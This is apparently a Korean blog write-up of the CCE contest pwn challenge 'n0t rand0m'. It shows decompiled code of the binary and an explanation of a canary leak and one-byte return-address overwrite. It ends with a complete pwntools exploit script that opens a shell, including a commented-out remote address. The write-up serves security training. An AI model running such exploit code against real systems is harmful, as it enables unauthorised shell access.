[ CCE 사이버공격방어대회 ] n0t rand0m
2023. 6. 12. 23:26ㆍctf
반응형
우리 팀이 예선 7등으로 본선을 가게 되었다.
그런데 좀 아쉬운 점은 내가 개인사정으로 인해 본선날에 시간이 안 돼서 못 간다 ㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠ
전체 코드
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
unsigned int v3; // eax
unsigned int nbytes; // [rsp+0h] [rbp-30h]
unsigned int case_1; // [rsp+4h] [rbp-2Ch]
char name[8]; // [rsp+8h] [rbp-28h] BYREF
char comment[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v8; // [rsp+28h] [rbp-8h]
v8 = __readfsqword(0x28u);
nbytes = 0;
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
puts("what your name?");
read(0, name, 8uLL);
printf("Hello %s", name);
puts("write comment");
read(0, comment, 24uLL);
v3 = time(0LL);
srand(v3);
while ( 1 )
{
while ( 1 )
{
case_1 = rand() % 9 + 1;
printf("random number : %d\n", case_1);
printf("continue? (yes or no) ");
read(0, yes_or_no, 8uLL);
if ( strstr(yes_or_no, "no") )
break;
if ( !strstr(yes_or_no, "yes") )
exit(1);
}
switch ( case_1 )
{
case 1u:
printf("comment : %s\n", comment);
continue;
case 2u:
printf("name : %s\n", name);
continue;
case 3u:
puts("write new comment");
read(0, comment, nbytes);
continue;
case 4u:
puts("write new name");
read(0, name, nbytes);
continue;
case 5u:
nbytes = strlen(comment);
printf("%d\n", nbytes);
continue;
case 6u:
nbytes = strlen(name);
printf("%d\n", nbytes);
continue;
case 7u:
sub_401296(nbytes);
goto LABEL_15;
case 8u:
sub_401345(nbytes);
goto LABEL_15;
case 9u:
LABEL_15:
exit(1);
case 10u:
sub_4013B1(name);
break;
default:
continue;
}
}
}
unsigned __int64 __fastcall sub_401296(unsigned int a1)
{
char buf[8]; // [rsp+18h] [rbp-28h] BYREF
char v3[24]; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+38h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("one more time what your name");
read(0, buf, a1);
printf("ok %s\n", buf);
puts("did you have fun?");
read(0, v3, a1);
puts("ok...bye");
return v4 - __readfsqword(0x28u);
}
unsigned __int64 __fastcall sub_401345(unsigned int a1)
{
size_t nbytes; // [rsp+Ch] [rbp-24h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("did you have fun?");
read(0, (char *)&nbytes + 4, a1);
puts("bye bye");
return v3 - __readfsqword(0x28u);
}
int __fastcall sub_4013B1(const char *a1)
{
return system(a1);
}
공격 시나리오
문제 코드를 보면 comment와 name의 길이를 5, 6번 메뉴에서 strlen으로 가져온다.
strlen의 경우 null을 만나기 전까지의 문자열 길이를 반환하기 때문에
name과 comment 사이에 null문자를 없게 해서 nbytes의 크기를 늘린다.
그리고 카나리와도 연결을 해서 nbytes의 크기를 더 늘린다.
그 뒤에 name에 /bin/sh\x00을 입력해준다.
왜냐하면 case10에서 인자로 name을 가져가서 system의 인자로 넘기기 때문이다.
그리고 7번 케이스에 들어가서 카나리, sfp를 릭한뒤 1바이트 overflow 가 발생하기 때문에
ret의 마지막 1바이트를 케이스 10을 실행하는 위치로 변경하면 끝!
sfp릭을 하는 이유는 case10에서 main의 rbp를 기준으로 /bin/sh를 가져오기 때문에
그냥 아무런 값을 하면 인자로 /bin/sh를 못 가져옴
exploit
from pwn import *
import time
context.log_level = "debug"
r = process('./n0t_rand0m')
# r = remote("20.196.192.95", 8888)
input()
r.sendafter(b"name?", b"asdf")
r.sendafter(b"comment", b"A"*23)
def choose_num(choose):
while(1):
r.recvuntil(b": ")
num = int(r.recvline()[:-1], 10)
if num != choose:
r.sendafter(b"no) ", b"yes")
elif num == choose:
r.sendafter(b"no) ", b"no")
break
# nbytes : 24
choose_num(5)
# nbytes : 32
choose_num(4)
r.sendafter(b"name", b'A' * 0x8)
choose_num(6)
# nbytes : 41
choose_num(3)
r.sendafter(b"comment", b"A" * 0x19) #카나리와 연결
choose_num(6)
# name -> /bin/sh
choose_num(4)
r.sendafter(b"name", b"/bin/sh\x00")
# get shell
choose_num(7)
r.sendafter(b"name", b'A' * 0x20 + b"B")
r.recvuntil(b"AB")
canary = r.recvn(7).rjust(8, b"\x00")
sfp = r.recvn(6).ljust(8, b'\x00')
r.sendafter(b"fun?", b'A' * 0x18 + canary + sfp + b'\xb0')
r.interactive()
반응형
'ctf' 카테고리의 다른 글
[ codegate - pwn] librarian (2) | 2023.06.18 |
---|---|
Dreamhack CTF Season 3 Round #2 (0) | 2023.04.22 |
[ layer7 ctf ] Christmasgift (0) | 2022.12.20 |
[ 화이트햇 콘테스트 ] left_right (0) | 2022.10.17 |